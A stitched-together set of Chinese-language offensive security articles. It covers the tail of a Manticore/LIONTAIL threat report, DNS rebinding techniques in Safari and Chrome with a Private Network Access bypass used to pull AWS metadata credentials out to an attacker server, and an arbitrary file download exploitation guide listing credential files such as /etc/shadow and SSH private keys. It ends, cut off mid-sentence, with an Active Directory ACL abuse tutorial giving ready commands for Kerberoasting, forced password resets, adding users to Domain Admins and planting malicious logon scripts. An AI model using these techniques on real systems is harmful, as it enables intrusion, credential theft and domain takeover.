LIONTAIL框架組件與FOXSHELL、SDD後門和WINTAPIX驅動程序共享類似的混淆和字符串工件。目前,我們不知道有任何其他攻擊者利用這些工具,我們根據多個代碼重疊和共享的受害者特徵將它們全部歸因於Manticore。

總結在過去的幾年裡,Manticore被觀察到在中東地區進行了頻繁活動,包括獲得該地區電信和政府組織的訪問權限,並維持和利用這種訪問權限幾個月來系統地從受害者的系統中竊取數據。分析他們的活動歷史可以發現,攻擊者一直在改進攻擊方法。

雖然LIONTAIL代表了FOXSHELL迭代的邏輯進展,並且仍然具有一些獨特的特徵,使我們能夠將涉及LIONTAIL的攻擊歸因於Manticore。 LIONTAIL框架不再依賴於Internet Information Services (IIS)、它的模塊或. net框架提供的任何其他選項和庫來以編程方式管理IIS。相反,它通過直接與HTTP.sys驅動程序交互來利用最低級別的Windows HTTP堆棧。此外,它允許攻擊者自定義植入程序、配置參數和加載程序的文件傳遞類型,這些都增強了植入程序的隱身能力,使其能夠長時間躲避檢測。預計“Manticore”活動將會更加活躍,並可能蔓延到其他地區。

本文介紹了在Chrome、Edge和Safari中實現可靠的DNS重綁定的新技術,並討論了繞過本地網絡限制的技術。通過分析慢緩存的根本原因,提出了新的解決技術。本文研究了利用DNS重綁定在Chrome、Edge和Safari中實現瞬間DNS重綁定的攻擊技術。

本文是關於DNS重新綁定係列文章中的第二篇。第一篇文章介紹了一個使用DNS重新綁定後攻擊的案例。在這篇文章中,我介紹了在IPv6可用時在Chrome, Edge和Safari中實現可靠的,瞬間DNS重新綁定的新技術,以及一種繞過本地網絡限制的技術,該技術適用於基於Chrome的瀏覽器的獲取API。

瀏覽器中的DNS重綁定傳統上被視為攻擊者通過誘騙受害者加載惡意網站來訪問內部網絡服務的一種方式,但隨著許多現代web應用程序現在在其部分功能上驅動無頭瀏覽器,它已成為攻擊web應用程序的有用工具。無頭瀏覽器,即Headless Browser,是一種沒有界面的瀏覽器。它擁有完整的瀏覽器內核,包括JavaScript 解析引擎、渲染引擎等。與普通瀏覽器最大的不同是,無頭瀏覽器執行過程中看不到運行的界面,但是我們依然可以用GUI 測試框架的截圖功能截取它執行中的頁面。在上一篇文章中,我介紹了一個使用可能是最簡單的重新綁定方法的例子。在這種情況下,我有很長的時間讓漏洞運行,但這在許多web應用程序中不太可能,需要更快的技術。

緩慢的緩存簡單的DNS重綁定技術依賴於對相同主機名的連續查找返回不同的DNS記錄。對於這些攻擊,所花費的最小時間是瀏覽器執行兩次連續DNS查找之間的時間。這有時可以通過刷新瀏覽器緩存來加快速度,生成大量DNS查找以填充可用的緩存空間,並導致舊條目在過期之前被清除,從而使瀏覽器更快地對相同的主機名執行第二次查找。

當它工作時,它仍然需要大約10秒的時間,而且通常這種技術不會起作用,因為中間緩存不能像瀏覽器的緩存那樣容易地被清除。例如,在測試期間,我發現在一個新創建的Ubuntu EC2實例上,由於系統解析的緩存,我只能每5分鐘為同一域獲得不同的響應。在VPN上,我看到DNS響應在默認解析器上至少緩存30分鐘。讓用戶將頁面打開這麼長時間以允許攻擊者實現DNS重新綁定漏洞,通常是一件很困難的事情,更不用說將無頭瀏覽器作為web應用程序的一部分驅動了。

為了加速漏洞利用,2010年Craig Heffner提出了通過在相同響應中回復同一域的多個A記錄來執行DNS重新綁定的想法,Gerald Doussot和Roger Meyer在2019年的singularity 中使用了這種技術。 Singularity是一個開放源碼容器平台,旨在簡化、快速和安全。 Singularity 是針對EPC 和HPC 工作負載進行優化的,允許不受信任的用戶以可信的方式運行不受信任的容器。

返回的兩條記錄是攻擊者控制的公共服務器的IP地址和目標服務器的(通常是私有的)IP地址。

只有當瀏覽器試圖首先與公共服務器通信並加載攻擊者的惡意頁面時,攻擊才會起作用。然後,攻擊者的web服務器開始阻止來自受害者瀏覽器的流量,導致瀏覽器退回到將所有請求發送到目標服務器。在這種情況下,攻擊者頁面中的JavaScript將能夠向同一來源下的目標IP地址發送請求。

1.png

這種技術確實繞過了緩存問題,因為瀏覽器只需要執行一次DNS查找,儘管在我的測試期間,所有主要瀏覽器都會始終嘗試在公共IP地址之前與私有IP地址通信,這意味著這些技術不起作用。雖然我不相信這種行為是為了防止DNS重新綁定,但它可以有效的阻止這種技術。

這種新行為促使我研究新的技術,可以用來在Safari和基於chrome的瀏覽器中實現瞬間DNS重新綁定。這些技術的關鍵是找到新的方法,使瀏覽器最初使用公共IP,然後在加載網站時切換到使用私有IP。打開Wireshark,我注意到在現代瀏覽器中加載網站時,會同時發送A和AAAA查詢。我開始調查這種行為是否可以用來可靠地執行DNS重新綁定。

攻擊Safari:延遲DNS響應當你在通過IPv6訪問互聯網的主機上加載Safari網頁時,分別為IPv4和IPv6地址發送A和AAAA DNS查詢。當返回多個IP地址時,Safari將優先考慮私有IP地址而不是公共IP地址。

當A或AAAA響應延遲時,Safari中允許快速DNS重新綁定的有趣行為會發生。在這種情況下,Safari不會等待所有DNS響應,而是在接收到第一個DNS響應後立即發送HTTP請求。當收到延遲的DNS響應時,此響應中的IP地址將被添加到IP地址池中,Safari可以在將來請求該域時使用該IP地址池。

這意味著,如果第一個DNS響應是針對公共IP地址的,而延遲的DNS響應是針對私有IP地址的,Safari將向公共IP地址發送第一個請求,直到接收到延遲的DNS響應,此時它將開始向私有IP地址發送請求。

2.png

這提供了一種在Safari中使用自定義DNS服務器實現DNS重新綁定的簡單方法,該服務器可處理*.r.inded.es的查詢:

1.加載目標瀏覽器http://safari.r.intrud.es,觸發safari.r.intrud.es的A和AAAA查找。

2.讓DNS服務器立即返回AAAA記錄,其中包含互聯網上攻擊者控制的web服務器的IPv6地址。暫時不要返回A響應。

3.一旦收到AAAA響應,Safari將向攻擊者的web服務器發出第一個請求。從攻擊者的web服務器返回一個帶有JavaScript的頁面來重複請求http://safari.r.intrud.es/secret.txt。

4.從DNS服務器發送包含本地網絡上目標服務器的IP地址的A響應。

5.Safari現在將對http://safari.r.intrud.es/secret.txt的請求發送到本地網絡上的目標服務器。從攻擊者的服務器加載的頁面可以讀取這些請求的響應,而不會違反同源策略。

為了實現這一點,我編寫了一個小型DNS服務器,可以使用命令行參數延遲DNS響應。在實踐中,我發現將A響應延遲100毫秒幾乎總是足夠的,儘管可以使用200毫秒或更長時間的延遲來使該技術更加可靠。可以在這裡https://github.com/intruder-io/dns-delay-server找到這個服務器以及設置它的說明。

我用來利用它的PHP腳本會將用戶重定向到r.introd.es的隨機子域,以避免中間緩存干擾利用。它還將JavaScript直接包含在頁面中,以避免另一個資源負載。你可以在這裡找到使用的代碼。

該腳本在操作中的視頻請點此,從本地web服務器檢索文件的內容:

3.jpg

我在iOS上的Safari和Brave上進行了測試,發現同樣的技術也可以用於訪問內部網絡上的服務。

攻擊Chrome:使用AAAA優先級Chrome將優先加載本地網絡上的頁面,而不是互聯網上的頁面,但在可用的情況下,它會優先加載IPv6而不是IPv4上的頁面。所以首要任務是:

1.本地IPv6(最高優先級);

2.公共IPv6;

3.當地IPv4;

4.公共IPv4(最低優先級);

這裡的關鍵部分是Chrome會優先考慮公共IPv6地址而不是私有IPv4地址。此外,當Chrome知道一個域的多個IP地址時,一旦服務器重置連接,它就會嘗試不同的IP地址。

4.png

這給出了一個針對Chrome的快速DNS重綁定計劃:

1.加載http://chrome.r.intrud.es,這將觸發A和AAAA查找chrome.r.intrud.es。

2.讓DNS服務器返回指向本地網絡上目標web服務器的A記錄和指向公共互聯網上攻擊者控制的web服務器的AAAA記錄。

3.Chrome將優先考慮IPv6地址,並從攻擊者控制的web服務器發出第一個加載頁面的請求,該服務器返回JavaScript以重複向http://chrome.r.intrud.es/secret.txt發出請求。

4.關閉攻擊者控制的服務器,以便重置所有連接。 Chrome現在將把所有請求發送到本地網絡上的目標服務器。

5.讓加載的頁面向http://chrome.r.intrud.es/secret.txt發出請求。可以在不違反同源策略的情況下讀取對這些請求的響應。

這個計劃幾乎成功了。從互聯網加載的頁面上的JavaScript試圖向本地網絡上的目標發出請求,但這些請求被阻止,並在控制台中顯示以下錯誤:

Accesstofetchat'http://chrome.r.intrud.es/secret.txt'fromorigin'http://chrome.r.intrud.es'hasbeenblockedbyCORSpolicy:Therequestclientisnotasecurecontextandtheresourceisinmore-privateaddressspace`local`.出現此錯誤是因為Chrome部分實現了私有網絡訪問(PNA)https://wicg.github.io/private-network-access/規範中描述的保護。

繞過PNAPrivate Network Access(以前稱為CORS-RFC1918 )限制了網站向私有網絡上的服務器發送請求的能力。根據規範,此類請求只允許來自安全上下文。另外,該規範擴展了跨域資源共享(CORS)協議,因此網站現在必須在允許發送任意請求之前,必須顯式請求私有網絡上服務器的許可。

私有網絡是指目標服務器的IP地址比從其獲取請求服務器的IP地址更私有的請求。例如,從公共網站(https://example.com)向私有網站(http://router.local)的請求,或從私有網站向localhost 的請求。

PNA保護阻止通過普通HTTP從公共互聯網加載的頁面向私有網絡發出請求。在Chrome中,這些保護是為fetch請求實現的,但還沒有為iframe實現。不完整的實現以及DNS重新綁定允許繞過對獲取請求的PNA限制。

我們可以重複利用到上面的步驟4,其中公共web服務器已經關閉,所有對http://chrome.r.intrud.es的請求現在都被定向到本地網絡上的目標服務器。加載的首頁不能向本地網絡發出請求,因為它是通過HTTP從公共互聯網加載的,但是我們可以在iFrame中加載http://chrome.r.intrud.es。這個iFrame中的頁面將從目標web服務器加載。由於此服務器位於本地網絡上,因此允許在iFrame中加載的頁面向本地網絡發出請求。

iFrame中的頁面也與頂部頁面處於相同的起源,這使得頂部頁面可以完全控制框架頁面的DOM。這包括注入腳本,使獲取請求進入框架頁面。這些腳本可以用來訪問目標web服務器並洩露數據,就像如果PNA根本沒有實現的話,它們可以從首頁獲取數據一樣。

6.png

所以,把這些放在一起,我們最終得到了一個完整的步驟:

1.加載http://chrome.r.intrud.es,這將觸發A和AAAA查找chrome.r. imports .es。

2.讓DNS服務器返回一條A記錄,指向本地網絡中的目標web服務器,並返回一條AAAA記錄,指向公網上攻擊者控制的web服務器。

3.Chrome將首先請求從攻擊者的web服務器加載頂部頁面,該服務器返回一個頁面以執行以下步驟。

4.關閉攻擊者控制的服務器,以便重置所有連接嘗試。 5.Chrome現在將把所有請求發送到本地網絡上的目標服務器。

6.從首頁,將一個腳本注入框架頁面以請求http://chrome.r.intrud.es/secret.txt並將響應發送到攻擊者的web服務器。

這可以在Chrome中實現瞬間DNS重新綁定。

7.jpg

為了幫助實現這個漏洞,我編寫了一個小型web服務器,當它接收到/block請求時將停止。你可以在這裡找到運行它的源代碼和說明。

當攻擊自動瀏覽器時,你通常想要在頁面中包含一個iFrame,這需要一些時間來加載。這將阻止瀏覽器認為頁面已完全加載,直到iFrame已加載,並確保漏洞利用腳本有足夠的時間運行。下面的演示顯示,當gowitness被用來從啟用了IPv6的EC2上截取惡意網站的截圖時,這個漏洞被用來從AWS元數據服務中提取憑證:

8.jpg

或者對於更可能在web應用程序中發現的場景,使用無頭Chromium將網頁轉換為PDF:

9.jpg

這種繞過Chrome的PNA限制的行為通過他們的問題跟踪器報告給了Chrome團隊。他們確定這不是安全問題,因為PNA的限制仍在實施過程中。

總結DNS重新綁定是攻擊web應用程序的一個武器。在本系列的第一篇文章中,我試圖展示如何在不太複雜的情況下實現針對web應用程序的重新綁定漏洞。在這篇文章中,我提供了一些工具和技術來構建可靠的漏洞攻擊驅動自動瀏覽器的web應用程序,即使它們只加載頁面很短的時間。

0x01 前言任意文件下載漏洞作為最常見的WEB漏洞之一,在平常的滲透測試中經常遇到,但是很多人卻並沒有深入去想該如何利用這種漏洞,導致忽略了一些細節的信息。

0x02傳統利用1) 下載配置文件連數據庫通過任意文件下載漏洞下載網站配置文件,利用數據庫配置信息遠程連接數據庫。

php:通過讀取當前頁面源碼反向查找數據庫配置文件

aspx:Web.config

java:WEB-INF/web.xml、WEB-INF/classes/applicationContext.xml 、application.yml、application.properties、conf/tomcat-users.xml

其它配置:php.ini、my.ini、MetaBase.xml、access.log

2) 下載操作系統敏感文件通過下載操作系統中的文件獲取敏感信息,不同操作系統中的敏感文件包括

Windows:

C:\Windows\win.ini

C:\Windows\System32\drivers\etc\hostsC:\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.{%d}.gthr其中%d替換為1-500的數字,文件中保存大量應用對應的臨時文件路徑,可以洩露敏感信息,有時有奇效C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt其中Administrator可以替換為其它系統用戶名,文件中保存Powershell歷史執行命令記錄

Linux:

/etc/passwd

/etc/shadow

/etc/profile

/etc/hosts

/etc/issue

/etc/ssh/sshd_config

/root/.bash_history歷史命令

/root/.ssh/authorized_keys

ssh公鑰/root/.ssh/id_rsa

ssh私鑰/root/.mysql_history

/proc/net/arp

內網arp表信息

/proc/net/route

內網路由表信息

/proc/net/tcp

主機建立的tcp連接信息,類似於netstat

/proc/[PID]/cmdline

其中pid替換為進程號,返回當進程運行時的命令

/proc/[PID]/environ其中pid替換為進程號,返回當進程運行時的環境變量信息

/proc/self/loginuid當前用戶

/proc/sched_debug獲取當前進程信息0x03 進階利用1)SpringBoot環境下的任意文件利用SpringBoot一般來說是通過jar包來啟動服務,如圖3.1所示,所以通過任意文件下載漏洞最有利用價值的是下載到SpringBoot對應的jar包。

QQ截图20231225110711.png

這裡可以組合linux文件下載中的多個文件,構造一條SpringBoot任意文件下載利用鏈,如下所示。

【Step1】

從圖3.1可以看出SpringBoot一般是通過java命令來啟動的,所以可以通過java關鍵字來定位對應的pid進程號。

通過任意文件讀取/proc/sched_debug,獲取服務器中的進程信息。通過關鍵字java定位SpringBoot對應的進程,獲取進程號pid,如圖3.2所示。

QQ截图20231225110851.png

【Step2】

通過/proc/[PID]/cmdline和/proc/[PID]/environ獲取進程對應的信息,一般情況下通過這種方式可以拿到SpringBoot對應的jar包的絕對路徑,如圖3.3,圖3.4所示。其中cmdline可以獲取進程對應的包名,environ可以獲取對應的絕對路徑,組合之後可以得到jar包對應絕對路徑,如圖3.5所示。

QQ截图20231225110949.png

通過組合/proc/sched_debug和/proc/[PID]/environ可以滿足絕大部分場景下對目標進程信息的探索。

2)SpringMVC環境下的任意文件利用由於java程序並不能像PHP那樣通過讀當前文件來一步步下載整個程序的源碼做代碼審計,SpringMVC環境下一般的代碼處理邏輯都在controller類中,但是我們仍然可以通過任意文件下載漏洞來下載對應的源碼。

【Step1】

通過下載WEB-INF/web.xml文件,查看其中的servlet-class標籤,有針對性下載標籤對應的類名,如圖3.6所示。

QQ截图20231225111038.png【Step2】

基於拿到的類的全限定類名,下載對應的class文件。如圖3.6所示,拿到類的全限定類名是com.js.oa.jsflow.action.WorkFlowPdfServlet,則對應的class文件相對路徑為classes/com/js/oa/jsflow/action/WorkFlowPdfServlet.class,如圖3.7所示。

QQ截图20231225111111.png

除了web.xml中可以找到類的全限定類名,在任何一個.class文件中,均可以找到這種類似的全限定類名。通過這種方式遍歷可以較完整的拿到整個SpringMVC的源碼,對於其它tomcat servlet項目也是一樣的思路。

需要說明的是,並不是所有的tomcat項目的controller源碼都能在WEB-INF/classes/目錄下找到,還有部分系統會把邏輯代碼寫到jar包中並放在WEB-INF/lib/目錄下,如圖3.8所示,某系統在classes目錄下不存在任何class文件,所有的邏輯均在WEB-INF/*.jar包中。如果代碼邏輯在jar包中,就需要猜測jar包的完整名稱,這種情況下通常不容易通過黑盒方式下載到源代碼。

QQ截图20231225111145.png0x04 深度利用在上面的方式中,還是偏向於通過任意文件下載下載網站源代碼進行源碼分析,但是在某些框架中,可以通過源碼下載漏洞構造反序列化利用鏈,達到RCE的效果。

CodeIgniter框架是一個非常流行的php框架,在中小WEB應用中具有較大的使用量。舊版本的CodeIgniter默認情況下CodeIgniter的session保存在Cookie中,並且通過反序列的方式來加載。

我下載的CodeIgniter的源碼是以前下載的,可能和最新的代碼稍有出入。在system/libraries/Session.php文件中,如圖4.1所示。

QQ截图20231225111249.png

其中保證Cookie不被篡改的關鍵是通過hash_hmac方法計算Cookie最後40位的hash值,其中$this-encryption_key是CodeIngniter框架配置文件中的值,保存在application/config/config.php文件中,這個值沒有默認值,並且不能為空,如圖4.2所示。

QQ截图20231225111316.png

如果存在任意文件下載漏洞,下載對應的application/config/config.php文件,則可以獲取Cookie加密的key,這樣就可以把任意文件下載漏洞轉化為反序列化漏洞。

在CodeIgniter框架中,如果Cookie中包含了序列化的內容,如圖4.3所示,則代表可以通過任意文件讀取獲取加密key來構造反序列化過程,結合框架本身的反序列化利用鏈,則可能造成反序列化漏洞。

QQ截图20231225111349.png基於框架的Cookie反序列化漏洞在實際中非常普遍,其它還有很多框架也有類似的問題,Yii框架也有類似於CodeIgniter一樣的邏輯,在之前一篇關於通達OA的反序列化漏洞的文章https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw中,介紹過關於Yii硬編碼key導致的反序列化漏洞。同樣如果存在任意文件下載漏洞,則可以讀取對應的key構造反序列化利用鏈。

如果是aspx的目標網站,同樣可以通過任意文件下載,獲取Web.config中關於ViewState參數的加密密鑰,ViewState參數經過解密之後會進行反序列化操作,造成.net的反序列化漏洞,詳情可以參考文章

https://paper.seebug.org/1386/。0x05 總結在滲透測試的過程中,如果遇到任意文件下載漏洞,多數場景下都可以對任意文件下載漏洞進行深入利用。本文主要結合一些特定的目標場景,總結一些關於任意文件下載漏洞的利用思路,本文僅做學習研究,請勿進行非法的網絡攻擊活動。

來源:烽火台實驗室

滥用活动目录ACLs\ACEs权限

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

https://www.cnblogs.com/nice0e3/p/15879624.html

DACL和ACE是与访问控制相关的概念,常用于操作系统和网络环境中。以下是对它们的详细解释:

  1. DACL(Discretionary Access Control List):DACL是一种访问控制列表,用于确定谁可以访问特定对象(如文件、文件夹、注册表项等)。DACL是以访问控制条目(ACE)的形式组成的列表。
  2. ACE(Access Control Entry):ACE是DACL中的基本单元,用于授予或拒绝对对象的访问权限。每个ACE定义了一个安全主体(如用户、组、计算机等)以及该安全主体所具有的权限。

在DACL中,每个ACE包含以下信息:

  • 安全主体(SID):标识被授权或被拒绝访问权限的用户、组或计算机的唯一标识符。
  • 访问权限:表示特定操作或权限(如读取、写入、执行等)。
  • 访问掩码:指定了实际授予或拒绝的权限。
  • 辅助访问掩码:在某些情况下,用于指定其他条件或限制。

当访问对象时,系统将根据DACL中的ACE进行验证。如果存在与用户身份匹配的ACE,并且该ACE授予了所请求的权限,访问将被允许。如果没有匹配的ACE,或者存在与用户身份匹配的ACE,但是该ACE拒绝了所请求的权限,访问将被拒绝。

域管理员的ACE如下

4btyj4sfy0k11772.png

其中,我们关注的权限为如下几条

  • GenericAll - full rights to the object (add users to a group or reset user's password)
  • GenericWrite - update object's attributes (i.e logon script)
  • WriteOwner - change object owner to attacker controlled user take over the object
  • WriteDACL - modify object's ACEs and give attacker full control right over the object
  • AllExtendedRights - ability to add user to a group or reset password
  • ForceChangePassword - ability to change user's password
  • Self (Self-Membership) - ability to add yourself to a group
  • GenericAll - 对对象拥有完全权限(例如添加用户到组或重置用户密码) 。
  • GenericWrite - 更新对象的属性(例如登录脚本) 。
  • WriteOwner - 修改对象的所有者为攻击者控制的用户,接管该对象 。
  • WriteDACL - 修改对象的ACEs,并授予攻击者对该对象的全部控制权限 。
  • AllExtendedRights - 能够添加用户到组或重置密码 。
  • ForceChangePassword - 能够更改用户的密码 。
  • Self(Self-Membership)- 能够将自己添加到组中。
  • Self-Membership - 这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象),也就是说,某个对象在某个组中是Self-Membership身份。
GenericAll
对用户账户的GenericAll权限

使用PowerView工具,查看用户的GenericAll权限。

powershell -exec bypass

Import-Module .\PowerView.ps1

//获取用户man1的AD对象的访问控制列表(ACL),筛选返回具有"GenericAll"权限的项

Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

可以看到spotless用户拥有对delegate的GenericAll权限,那么在已获得spotless用户权限的情况下,我们可以接管delegate用户。

wqeuuparewy11775.png

  1. **更改密码:**直接修改delegate用户的密码即可。

net user <username><password> /domain

  1. **Kerberoasting攻击:**给delegate用户设置SPN,然后通过spotless用户的TGT来请求所有服务的ST,获取到delegate用户的HASH加密的ST,进行破解。

# Set SPN

Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}

# Get Hash

.\Rubeus.exe kerberoast /user:<username> /nowrap

# Clean SPN

Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

https://github.com/ShutdownRepo/targetedKerberoast

python3 targetedKerberoast.py -domain.local -u <username> -p password -v

  1. **ASREProast攻击:**可以通过禁用预身份验证来使用户ASREPRoastable ,然后对其进行 ASREProast攻击。

Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

对用户组的GenericAll权限

//获取到domain admins组的distinguishedName值

Get-NetGroup "domain admins"

x4cvvqnkmg211783.png

//获取Domain Admins组的ACL

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq " CN=Domain Admins,CN=Users,DC=vvvv1,DC=com"}

nvllwh11ceu11799.png

发现spotless用户拥有对Domain Admins组的GenericAll权限,可以进行攻击。

将自己(用户spotless)或其他用户添加到Domain Admin组中。

net group "domain admins" spotless /add /domain

也可以使用 Active Directory 或 PowerSploit 模块进行攻击。

# with active directory module

Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit

Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

对机器账户或服务账户的GenericAll权限
  1. 如果对机器账户或服务账户具有GenericAll权限或者GenericWrite权限,可以考虑使用基于资源的约束委派攻击,详情见《内网横向移动-基于资源的约束委派》;
  2. 对于服务账户也可以考虑上文中的对用户账户的攻击方法;
  3. 或者使用Shadow Credentials进行攻击;

影子凭证

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

http://www.hackdig.com/02/hack-599160.htm

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

WriteProperty
对用户组的WriteProperty权限

我们的受控用户对domain admins组有WriteProperty权限。

qjgtoagrjow11802.png

可以将该用户添加进入domain admins组来提升权限。

powershell -exec bypass

Import-Module .\PowerView.ps1

Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"

Self (Self-Membership)
对用户组的Self (Self-Membership)权限

我们的受控用户对domain admins组有Self (Self-Membership)的权限。

fqx45lnemd411806.png

这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。

powershell -exec bypass

Import-Module .\PowerView.ps1

Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"

"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。

  1. "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
  2. "Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。

总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。

WriteProperty (Self-Membership)
对用户组的WriteProperty (Self-Membership)权限

我们的受控用户对domain admins组有WriteProperty (Self-Membership)的权限。

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

irgainsrzzw11811.png

这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。

net group "domain admins" spotless /add /domain

"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。

  1. "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
  2. "Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。

总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。

ForceChangePassword
对用户账户的ForceChangePassword权限

如果我们的所控账户在目标账户的ACL中为"User-Force-Change-Password"对象类型,且具有"ExtendedRight"权限,那么我们可以在不知道用户当前密码的情况下重置用户的密码。

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

wq44qvpnh1311814.png

使用工具PowerView修改密码。

Set-DomainUserPassword -Identity delegate -Verbose

mnpn2irsfik11819.png

或者使用如下语句

$c = Get-Credential

Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

或者总结成单行语句

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

vv5hh2kybut11824.png

WriteOwner
对用户组的WriteOwner权限

在进行攻击之前,域管理员组Domain Admins的所有者是Domain Admins。

3scc04f10lj11828.png

在对某个组的ACE进行枚举之后,如果我们发现一个受我们控制的用户spotless具有"WriteOwner"权限并且该权限适用于"ObjectType:All",那么就可以修改该组的所有者。

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

ralxc4ef4j111832.png

我们可以将"Domain Admins"对象的所有者更改为我们的用户,这在我们的情况下是"spotless"。需要注意的是,使用"-Identity"指定的SID是"Domain Admins"组的SID。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose

//You can also use the name instad of the SID (HTB: Reel)

Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity "spotless"

GenericWrite

GenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。

对用户账户的GenericWrite权限

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

所控用户spotless对另一个用户delegate拥有"WriteProperty"权限,且该权限适用于"Script-Path"对象类型。它允许攻击者覆盖delegate用户的登录脚本路径,这意味着下一次当delegate用户登录时,他们的系统将执行我们恶意的脚本。

5u5huloa1j211836.png

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

可以看到delegate用户的登录脚本字段在AD中被更新。

d4o1p2541us11838.png

对用户组的GenericWrite权限

允许您将新用户(例如您自己)添加为组的成员。与上文中《GenericAll-对用户组的GenericAll权限》操作类似。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

# Create creds

$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force

$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)

# Add user to group

Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose

# Check user was added

Get-DomainGroupMember -Identity "Group Name" | Select MemberName

# Remove group member

Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

WriteDACL + WriteOwner

如果有一个组为test,你是该组的所有者。

xmt4urostll11855.png

或者使用PowerShell。

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

2ipgtaviius11865.png

您可以使用ADSI(Active Directory Service Interfaces)为自己赋予GenericAll权限。

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"

$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])

$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"

$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)

$ADSI.psbase.commitchanges()

这样意味着您现在完全控制该组。

0kj4ecurxti11872.png

这实际上意味着您现在可以将新用户添加到该组中。

但是,好像无法使用Active Directory模块和Set-Acl / Get-Acl cmdlets来赋予权限。

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"

$acl = Get-Acl -Path $path

$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"

$acl.AddAccessRule($ace)

Set-Acl -Path $path -AclObject $acl

xe0mw2eejy411880.png

组策略配置(GPO)

GPO是Group Policy Object(组策略对象)的缩写。它是Windows操作系统中的一种管理机制,用于集中管理和配置计算机和用户的操作系统设置。GPO允许系统管理员通过集中的策略定义和管理组织内计算机和用户的行为。

GPO主要用于:

